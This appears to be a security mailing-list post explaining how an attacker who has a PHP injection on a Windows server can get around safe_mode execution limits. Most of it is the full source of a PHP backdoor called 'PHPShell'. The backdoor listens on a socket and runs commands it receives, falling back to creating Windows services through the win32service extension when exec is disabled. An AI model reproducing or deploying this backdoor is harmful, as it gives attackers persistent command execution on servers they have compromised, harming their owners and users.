when safe_mode = on, set_time_limit is "off", then we can use

ini_set("max_execution_time", 90000000);


suppose the server is vulnerable PHP injection, then  an attacker make a 
backdoor in PHP and register it in SCM of windows with win32service extension.


the backdoor need wait for connections, if safe_mode = on, then it can use 
ini_set("max_execution_time", quantity) instead  set_time_limit(0), because 
safe_mode block this.


example of backdoor that use this technique:


<?php

//script for low versions of PHP

//PHPShell by branco

//contact by brancohat gmail.com

//gratz : magrinho_loko, ne0h, mental_way, dr4k0 e aos que esqueci


ini_set("max_execution_time", 90000000);

set_time_limit(0);


define("NEW_LINE", "\n\r");

define("CMD_DIR", 'c:\\windows\\system32\\cmd.exe');


Class Backdoor

{

 var $exec;

 var $result;



 // PHP bypass with win32service, technique of NetJackal

 function execCommand($cmd) {

  $dir=ini_get('upload_tmp_dir');

  $n=uniqid('NJ');

  $name=$dir."\\log";

 

  $cmd_local=(empty($_SERVER['ComSpec']))?

  CMD_DIR :$_SERVER  ['ComSpec'];

 

  win32_create_service(array('service'=>$n,'display'=>$n,

  'path'=>$cmd_local,'params'=>"/c $cmd >\"$name\""));

 

  win32_start_service($n);

  win32_stop_service($n);

  win32_delete_service($n);

  $content=file_get_contents($name);

  unlink($name);

 

  return $content;

 }


 function execConfig() {

  $safe_mode = ini_get("safe_mode");

  $disable_functions = ini_get("disable_functions");

  // se for possivel utiliza a funcao exec

  if ($safe_mode == 0 && (eregi("exec", $disable_functions) === false) ) {

   $this->exec = "exec";

  }

  //se nao tenta burlar safe_mode e/ou disable_functions, caso a extensao 
win32service esteja habilitada

  else {

   if (extension_loaded('win32service')) {

    $this->exec = "execCommand";

   }

   else {

    $this->exec = "impossivel";

   }

  }

 }


 

 function errCatch() {

  exit(socket_strerror(socket_last_error()) . socket_last_error());

 }


 function listen() {

  $socket;

  $socket_stream;

  $input_socket;

  $socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP) or $this->errCatch();

  socket_bind($socket,'127.0.0.1', 666) or $this->errCatch();

  socket_listen($socket, 5) or $this->errCatch();

 

 

  do {

   $socket_stream = socket_accept($socket);

   if ($socket_stream === false) {

    continue 1;

   }

   // so passa caso alguem se conecte, ai vem a mensagem de boas vindas

   $msg = NEW_LINE . "Bem vindo ao backdoor PHPShell" . NEW_LINE . "Para sair, 
escreva 'quit'. Para desligar o backdoor, digite 'shutdown'". NEW_LINE;

  socket_write($socket_stream, $msg, strlen($msg));

  

  

   // aqui trata a sessao

   do {

    $input_socket = socket_read($socket_stream,1000,PHP_NORMAL_READ) or

    $this->errCatch();

   

   

    $input_socket = trim($input_socket);

    if (empty($input_socket)) {

      continue 1; # goto sessao

    }


    switch ($input_socket) {

     case "quit":

      socket_close($socket_stream);

      break 2; # goto sessao

     case "shutdown":

      socket_close($socket_stream);

      socket_close($socket);

      break 3; # goto termina

    }

   

    // caso os comandos nao sejam quit nem shutdown

   

    if ($this->exec == "execCommand") {

     $this->result = $this->execCommand($input_socket);

    }

   

    if ($this->exec == "exec") {

     $output = "";

     $result_complete = "";

     $value = "";

    

     exec($input_socket, $output);

     foreach ($output as $value) {

      $result_complete .= "$value" . NEW_LINE;

     }

    

     $this->result = $result_complete;

    }

   

    if ($this->exec == "impossivel") {

     $this->result = NEW_LINE . "Nao foi possivel executar comandos, 
safe_mode=on e extensao win32service desabilitada, caso conheca outro modo de 
burlar safe_mode, edite o backdoor" . NEW_LINE;

    }

   

    if ($this->result) { // pra caso result esteja vazio o socket nao gerar 
erro e fexar sessao

     socket_write($socket_stream,$this->result, strlen($this->result)) or

     $this->errCatch();

    }

  

   } while(true);

   #sessao

  

  } while(true);

  #termina

 

 }


 function Backdoor() {

  $this->exec = "";

  $this->result = "";

  $this->execConfig();

  socket_clear_error();

  $this->listen();

 }


}


$backdoor = new Backdoor();

?>

Reply via email to